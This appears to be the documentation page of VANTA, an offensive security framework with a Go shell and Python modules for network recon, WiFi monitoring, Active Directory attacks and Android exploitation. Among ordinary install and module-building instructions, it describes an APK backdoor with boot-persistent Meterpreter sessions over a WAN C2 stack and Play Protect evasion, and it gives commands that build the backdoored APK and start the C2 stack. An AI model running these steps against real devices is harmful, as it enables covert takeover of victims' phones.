VANTADocumentation

VANTA Modules

Architecture

VANTA is split into two layers: a Go REPL shell that handles all user interaction, and Python (or Bash) modules that do the actual work. The shell never embeds tool-specific logic — it only knows how to load modules, manage parameters, and route stdin/stdout. This keeps the binary small (~4 MB) and makes adding new modules as simple as dropping a Python file into the right directory.

Directory Layout

The repository follows a consistent structure. The Go shell binary lives at the root. All modules live under tools/, grouped by category. Each module folder contains a module.json and one or more Python scripts.

VANTA/
├── VANTA                       # compiled Go REPL binary
├── main.go                    # shell source - REPL loop, command parser, module loader
├── install.sh                 # multi-distro dependency installer (pacman/apt/dnf/zypper/apk)
├── rqm.md                     # global requirements manifest — all modules, all distros
├── update.py                  # git pull + rebuild + sync_tools()
├── gen_module.py              # scaffold a new module interactively
├── tools/
│   ├── network/
│   │   ├── netrecon/          # multi-engine network recon
│   │   │   ├── module.json
│   │   │   └── netrecon.py
│   │   ├── mac_spoof/         # per-interface MAC rotation
│   │   └── wifi_monitor/      # passive WiFi host discovery
│   ├── mobile/
│   │   ├── android/           # APK backdoor + WAN C2 + Frida
│   │   │   ├── module.json
│   │   │   ├── android_pentest.py
│   │   │   ├── apk_backdoor/
│   │   │   │   ├── build_bootbuddy.py
│   │   │   │   ├── AgentService.smali
│   │   │   │   └── output/
│   │   │   └── c2_persistence/
│   │   │       ├── c2_watchdog.sh
│   │   │       └── vanta-c2.service
│   │   └── ios/               # iOS pentest via libimobiledevice + Frida
│   │       ├── module.json
│   │       └── ios_pentest.py
│   ├── web/
│   │   └── websec/            # full-stack web attack surface
│   ├── AD/
│   │   ├── linux/             # adsec — Linux-side AD pentest (15 ops)
│   │   │   ├── module.json
│   │   │   └── adsec.py
│   │   └── windows/           # winadsec — Windows AD post-exploitation (37 ops)
│   │       ├── module.json   # inputs + operations schema
│   │       └── winadsec.py
│   └── ctf/
│       └── ctfpwn.py          # CTF autopwn + flag extraction

Internals

This section explains how the key pieces of VANTA work at the code level. It is intended for people who want to understand, extend, or audit the framework — not just use it.

The REPL Loop (main.go)

The shell is a standard Go read-eval-print loop. On each iteration it prints a prompt, reads a line, tokenises it, and dispatches to a handler. The prompt is built dynamically: it shows the loaded module name and count of currently-set parameters so you always know your context at a glance.

// Simplified prompt construction - actual code in main.go
func buildPrompt(mod *Module, params map[string]string) string {
    if mod == nil {
        return "vanta ❯ "
    }
    op := params["operation"]
    n  := len(params)
    if op != "" {
        return fmt.Sprintf("VANTA %s › %s [%d params] ❯ ", mod.Name, op, n)
    }
    return fmt.Sprintf("VANTA %s ❯ ", mod.Name)
}

Module Loading (module.json)

Every module directory contains a module.json that the shell reads at startup (and on reload). The JSON defines everything the shell needs to know about the module — no code is executed at load time.

// Example module.json (android_pentest, abbreviated)
{
  "name":        "android_pentest",
  "version":     "1.0.0",
  "category":   "mobile",
  "description": "Complete Android penetration testing suite",
  "author":      "VANTA Team | 0xb0rn3",
  "executable":  "python3 android_pentest.py",
  "dependencies": ["python3", "adb"],
  "inputs": {
    "operation": {
      "type":     "string",
      "required": false,
      "default":  "recon",
      "description": "Operation: recon, app_scan, vuln_scan, rebuild, full_pwn ..."
    },
    "package": {
      "type":     "string",
      "required": false,
      "description": "Target package name for app-specific operations"
    }
  }
}

The stdin/stdout Protocol

{
  "target": "192.168.1.1",
  "params": {
    "operation": "recon",
    "mode":      "deep",
    "threads":   "30"
  }
}

# Progress → terminal
[*] Scanning 192.168.1.1...
[+] Port 22 open - OpenSSH 8.9

# Findings → parsed by shell
FINDING: {"category":"open_port",
          "port":22,"service":"ssh"}

# Logs → stored in session
LOG: scan completed in 4.2s

How a Python Module Receives Data

import json, sys

# Read the shell's dispatch payload
data   = json.loads(sys.stdin.readline())
target = data.get("target", "")
params = data.get("params", {})
op     = params.get("operation", "recon")

# Dispatch table
ops = {
    "recon":           self._recon_operation,
    "static_analysis": self._static_analysis_operation,
    "backdoor_apk":    self._backdoor_apk_operation,
}

handler = ops.get(op)
if handler:
    handler()

# Emit all collected findings
for f in self.findings:
    print(f"FINDING: {json.dumps(f)}")

C2 Stack &
APK Persistence

The Android persistence chain is the most technically complex part of VANTA. It uses several layered techniques to achieve boot-persistent Meterpreter sessions over WAN without embedding any detectable payload statically in the APK.

The Four-Layer Chain

c2_watchdog.sh — The Stack Manager

# Start the full C2 stack
bash tools/mobile/android/c2_persistence/c2_watchdog.sh \
  --bore-dex-port 21062 \
  --bore-msf-port 37993 \
  --msf-port      4444  \
  --dex-dir       tools/mobile/android/apk_backdoor/output/ \
  --notify

# Or as a systemd service
sudo systemctl enable --now vanta-c2
sudo journalctl -u vanta-c2 -f

Play Protect Evasion

VANTA Shell

# No module loaded
VANTA ❯

# Module loaded, no params set
VANTA android_pentest ❯

# Module loaded, operation set, 3 params
VANTA android_pentest › rebuild [3 params] ❯

# Scan in progress
VANTA netrecon › full [3 params] ❯

Quickstart

git clone https://github.com/0xb0rn3/vanta
cd VANTA
bash install.sh

./vanta     # from repo directory
VANTA       # if installed system-wide

use netrecon
set mode deep
set threads 30
run 192.168.1.0/24

use android_pentest
set operation rebuild
set msf true
set msf_lport 4444
run device     # builds APK + s.dex + QR

# Start C2 stack
bash tools/mobile/android/c2_persistence/c2_watchdog.sh \
  --bore-dex-port 21062 --bore-msf-port 37993 \
  --msf-port 4444 --dex-dir tools/mobile/android/apk_backdoor/output/ --notify

use wifi_monitor
set mode full
set interface wlan0
run 192.168.1.0/24

ls tools/network/
cat tools/network/netrecon/module.json
back
python3 update.py --sync-tools

Foundations

VANTA is a command-line security framework. If you are new to terminals, shells, or what these tools do under the hood — this section builds the mental model. Experienced readers can skip to Quickstart.

Common Ports Quick Reference

What Happens When You Run a Module

Build a Module

VANTA modules are Python scripts (Bash and Go work too) dropped into tools/ alongside a module.json manifest. No shell modifications are needed. Drop the files in, type reload inside VANTA, and the module appears in tab-completion.

Minimum File Layout

tools/
└── network/
    └── portcheck/               # new module folder
        ├── module.json            # manifest (required)
        └── portcheck.py            # entry-point script

module.json — Full Specification

{
  "name":        "portcheck",          // unique module ID — matches folder name
  "version":     "1.0.0",              // semver
  "category":   "network",             // folder category used for grouping
  "description": "Check if a TCP port is open",
  "author":      "you",
  "executable":  "python3 portcheck.py", // command the shell spawns
  "dependencies": ["python3"],           // checked with `which` at load time
  "optional_dependencies": {            // hints shown — not required to load
    "nmap": "pacman -S nmap"
  },
  "timeout": 120,                       // seconds before shell kills process
  "inputs": {
    "port": {
      "type":        "string",            // string | int | bool | choice
      "required":    true,
      "description": "TCP port to check"
    },
    "timeout_sec": {
      "type":        "int",
      "required":    false,
      "default":     "5",
      "description": "Connection timeout in seconds"
    }
  }
}

Complete Python Module Example

A complete, working portcheck module. The only required pattern: read one JSON line from stdin on startup, dispatch on params, print progress to stdout, prefix structured results with FINDING:.

#!/usr/bin/env python3
import json, sys, socket

# ── Read dispatch payload from shell ──────────────────────────────
data   = json.loads(sys.stdin.readline())
target = data.get("target", "")
params = data.get("params", {})
port   = int(params.get("port", 80))
t_sec  = int(params.get("timeout_sec", 5))

# ── Progress lines stream directly to terminal ────────────────────
print(f"[*] Checking {target}:{port} (timeout={t_sec}s)", flush=True)

try:
    s = socket.create_connection((target, port), timeout=t_sec)
    s.close()
    status = "open"
    print(f"[+] Port {port} is OPEN", flush=True)
except (socket.timeout, ConnectionRefusedError):
    status = "closed"
    print(f"[-] Port {port} is CLOSED", flush=True)
except Exception as e:
    status = "error"
    print(f"[!] Error: {e}", flush=True)

# ── FINDING lines are parsed by the shell into session ────────────
print(f"FINDING: {json.dumps({'host': target, 'port': port, 'status': status})}")
print(f"LOG: portcheck completed for {target}:{port}")

Bash Module Example

#!/usr/bin/env bash
# Read and parse the JSON dispatch payload with jq
PAYLOAD=$(cat)
TARGET=$(echo "$PAYLOAD" | jq -r '.target')
PORT=$(echo   "$PAYLOAD" | jq -r '.params.port // "80"')

echo "[*] Checking $TARGET:$PORT"

if timeout 5 bash -c "echo > /dev/tcp/$TARGET/$PORT" 2>/dev/null; then
  STATUS="open"; echo "[+] Port $PORT OPEN"
else
  STATUS="closed"; echo "[-] Port $PORT CLOSED"
fi

echo "FINDING: $(jq -n --arg h "$TARGET" --arg p "$PORT" --arg s "$STATUS" \
  '{host:$h,port:$p,status:$s}')"

Bare Metal OS Setup

VANTA runs directly on the metal — no containers, no VMs, no abstraction layers. The Go binary and Python modules call real system tools (adb, nmap, msfconsole, bore) that must be present on the host. This section is the authoritative installation reference for every supported platform.

Minimum Hardware Requirements

System Package Installation

Install all required system packages before running install.sh. The install script detects your package manager and runs the correct command automatically — but if you prefer to install manually, use the table below. All packages must be system-wide; do not use user-local or sandboxed installations.

sudo pacman -Syu
sudo pacman -S \
  go python python-pip git \
  android-tools apktool \
  nmap masscan jq bore \
  aircrack-ng iw wireless_tools \
  metasploit frida \
  imagemagick ffmpeg \
  impacket netexec bloodhound \
  python-ldap3 python-requests \
  python-paramiko python-scapy

sudo apt update && sudo apt install -y \
  golang-go python3 python3-pip git \
  adb apktool default-jdk \
  nmap masscan jq \
  aircrack-ng iw wireless-tools \
  metasploit-framework \
  frida-tools \
  imagemagick ffmpeg \
  impacket-scripts netexec \
  python3-ldap3 python3-requests \
  python3-paramiko python3-scapy
pip3 install frida-tools --break-system-packages

Go Toolchain and Binary Compilation

VANTA's shell is written in Go and must be compiled from source. The Go toolchain version must be 1.21 or higher. If your distro ships an older Go, install directly from go.dev.

# Verify Go version (need 1.21+)
go version

# Clone and build
git clone https://github.com/0xb0rn3/vanta
cd VANTA
go build -o vanta main.go

# Make available system-wide (optional)
sudo cp VANTA /usr/local/bin/vanta
sudo chmod +x /usr/local/bin/vanta

ADB and Android USB Permissions

ADB requires a udev rule so Linux grants your user access to Android USB devices without root. Without this rule, adb devices returns an empty list even when the device is plugged in with USB debugging enabled.

# Write the udev rule (covers all Android vendor IDs)
sudo tee /etc/udev/rules.d/51-android.rules <<'EOF'
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="22b8", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="12d1", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="2717", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="1004", MODE="0666", GROUP="plugdev"
EOF

sudo chmod a+r /etc/udev/rules.d/51-android.rules
sudo udevadm control --reload-rules
sudo udevadm trigger

# Add your user to plugdev group (logout/login to take effect)
sudo usermod -aG plugdev $USER

Wireless Adapter — Monitor Mode Setup

wifi_monitor requires the wireless interface to be placed in monitor mode before running. Most distros block monitor mode by default via NetworkManager. Kill interfering processes first.

# Identify your wireless interface name
ip link show                    # look for wlan0, wlp3s0, wlan1, etc.

# Kill processes that fight for the interface
sudo airmon-ng check kill

# Put the adapter into monitor mode
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

# Verify monitor mode is active
iw dev wlan0 info | grep type   # should print: type monitor

# Restore managed mode after testing
sudo ip link set wlan0 down
sudo iw dev wlan0 set type managed
sudo ip link set wlan0 up
sudo systemctl restart NetworkManager

Bore — NAT Bypass Tunnel

android_pentest WAN mode requires bore to punch through carrier NAT. Bore is a Rust binary — install via cargo or download the pre-built release.

# Option A — cargo (Rust must be installed)
cargo install bore-cli

# Option B — pre-built binary (Arch AUR)
yay -S bore-cli

# Option C — direct binary download
curl -L https://github.com/ekzhang/bore/releases/latest/download/bore-x86_64-unknown-linux-musl.tar.gz \
  | tar xz
sudo mv bore /usr/local/bin/bore

# Verify
bore --version

Metasploit Framework

MSF must be initialised before VANTA can use it. Run the database setup once after installation. VANTA starts msfconsole as a subprocess and communicates via RC files — it does not use the RPC API.

# Arch
sudo pacman -S metasploit

# Kali / Debian (already included in Kali)
sudo apt install metasploit-framework

# One-time database initialisation
sudo msfdb init

# Verify MSF starts clean (Ctrl+C to exit)
msfconsole -q -x "version; exit"

install.sh — What It Actually Does

Testing Your Module — Bare Metal Integration

All testing is done against real system tools on the live machine. There are no mocks, no stubs, no sandboxes. If a command works in the terminal it should work through VANTA — if it does not, the issue is in the JSON dispatch, the executable path, or a missing dependency.

System Health Check — Run This Before Every Session

# ADB — device must appear here before any android_pentest op
adb devices

# Network interfaces — confirm monitor-mode adapter is visible
ip link show
iw dev

# Metasploit DB — must be running for MSF-backed operations
sudo msfdb status

# Bore — confirm the binary is on PATH
bore --version

# VANTA dependency table for all modules
./vanta -check-deps        # prints ✓/✗ for every module's full dep list

# Quick smoke test — localhost recon, should complete in under 5s
echo '{"target":"127.0.0.1","params":{"mode":"quick"}}' \
  | python3 tools/network/netrecon/netrecon.py

VM Setup

A virtual machine gives you a reproducible, snapshot-able VANTA environment isolated from your daily driver. Break it, snapshot it, clone it per engagement. This section builds each supported OS from ISO to a running VANTA install — start to finish, no assumed knowledge.

VM Specification — All Distros

Hypervisor — QEMU/KVM vs VirtualBox

sudo pacman -S qemu-full virt-manager libvirt dnsmasq
sudo systemctl enable --now libvirtd
sudo usermod -aG libvirt,kvm $USER

# Arch host
sudo pacman -S virtualbox virtualbox-host-modules-arch
sudo modprobe vboxdrv
sudo usermod -aG vboxusers $USER

Arch Linux — Primary Platform

Arch is the primary VANTA development platform. CachyOS (a real-time kernel Arch fork) is what the core team runs. This is the most involved install but gives you the most control.

Download the ISO from archlinux.org/download. Verify the SHA256 checksum before booting. Create the VM with the specs above, attach the ISO, enable UEFI, set network to Bridged, and boot.

sudo pacman -Syu
sudo pacman -S go python python-pip git nmap masscan android-tools \
               apktool default-jdk metasploit bore jq nodejs \
               aircrack-ng iw wireless_tools imagemagick ffmpeg \
               frida python-requests python-ldap3 python-scapy \
               python-paramiko netexec bloodhound impacket

# MSF database — one time only
sudo msfdb init
msfconsole -q -x "version; exit"

# ADB USB permissions
sudo tee /etc/udev/rules.d/51-android.rules <<'EOF'
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="22b8", MODE="0666", GROUP="plugdev"
EOF
sudo udevadm control --reload-rules && sudo udevadm trigger

# Clone and install VANTA
git clone https://github.com/0xb0rn3/vanta && cd VANTA
bash install.sh
./vanta --version && ./vanta -check-deps

Kali Linux

Kali ships most offensive tools pre-installed, making it the fastest path to a working VANTA lab. The only manual fix required is replacing the outdated packaged Go — Kali frequently ships 1.18 or older, and VANTA requires 1.21+.

Download from kali.org/get-kali → Installer Images → Kali Linux 64-Bit (Installer). Create the VM with the standard specs, attach the ISO, and boot.

sudo apt update && sudo apt full-upgrade -y

# Replace outdated Go
wget -q https://go.dev/dl/go1.21.13.linux-amd64.tar.gz
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.21.13.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc && source ~/.bashrc
go version   # must print go1.21.x or higher

# Bore — not in apt
curl -L https://github.com/ekzhang/bore/releases/latest/download/bore-x86_64-unknown-linux-musl.tar.gz \
  | tar xz && sudo mv bore /usr/local/bin/

# MSF database initialisation (Kali ships MSF pre-installed)
sudo msfdb init
msfconsole -q -x "version; exit"

# Clone and install VANTA
git clone https://github.com/0xb0rn3/vanta && cd VANTA
bash install.sh
./vanta --version && ./vanta -check-deps

Ubuntu / Debian

Ubuntu 24.04 LTS and Debian 12 Bookworm are both supported. Neither ships MSF or offensive tools by default — they must be installed manually. Both also package an outdated Go that must be replaced with the upstream binary.

Downloads: Ubuntu 24.04 LTS from ubuntu.com/download/server (server ISO is lighter) · Debian 12 from debian.org/distrib/netinst.

sudo apt update && sudo apt full-upgrade -y

# Replace Go if version is below 1.21
go version   # check first — Ubuntu 24.04 may already be 1.21+
wget -q https://go.dev/dl/go1.21.13.linux-amd64.tar.gz
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf go1.21.13.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc && source ~/.bashrc

# System packages
sudo apt install -y python3 python3-pip git nmap masscan adb apktool \
                    default-jdk jq nodejs aircrack-ng iw wireless-tools \
                    imagemagick ffmpeg smbclient

# Metasploit — Rapid7 official installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
  > msfinstall && chmod 755 msfinstall && sudo ./msfinstall
sudo msfdb init

# Python packages
pip3 install requests ldap3 scapy paramiko impacket frida-tools bloodhound \
             --break-system-packages

# Bore
curl -L https://github.com/ekzhang/bore/releases/latest/download/bore-x86_64-unknown-linux-musl.tar.gz \
  | tar xz && sudo mv bore /usr/local/bin/

# Clone and install VANTA
git clone https://github.com/0xb0rn3/vanta && cd VANTA
bash install.sh
./vanta --version && ./vanta -check-deps

Fedora

Fedora 40+ ships a sufficiently modern Go in its official dnf repos — no manual replacement needed. Metasploit and apktool are not in the Fedora repos and require separate installation.

Download from fedoraproject.org/workstation — Fedora Workstation 40 ISO. For a headless pentest box, use the Server ISO instead.

sudo dnf update -y

# Core deps — Go is current in Fedora repos
sudo dnf install -y golang python3 python3-pip git nmap jq nodejs \
                    aircrack-ng iw android-tools imagemagick ffmpeg

# apktool — not in Fedora repos, install manually
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar
sudo mv apktool /usr/local/bin/ && sudo mv apktool_*.jar /usr/local/bin/apktool.jar
sudo chmod +x /usr/local/bin/apktool

# Metasploit — Rapid7 official installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
  > msfinstall && chmod 755 msfinstall && sudo ./msfinstall
sudo msfdb init

# Python packages
pip3 install requests ldap3 scapy paramiko impacket frida-tools

# Bore
curl -L https://github.com/ekzhang/bore/releases/latest/download/bore-x86_64-unknown-linux-musl.tar.gz \
  | tar xz && sudo mv bore /usr/local/bin/

# ADB udev rule
sudo tee /etc/udev/rules.d/51-android.rules <<'EOF'
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="04e8", MODE="0666", GROUP="plugdev"
SUBSYSTEM=="usb", ATTR{idVendor}=="0bb4", MODE="0666", GROUP="plugdev"
EOF
sudo udevadm control --reload-rules && sudo udevadm trigger
sudo usermod -aG plugdev $USER

# Clone and install VANTA
git clone https://github.com/0xb0rn3/vanta && cd VANTA
bash install.sh
./vanta --version && ./vanta -check-deps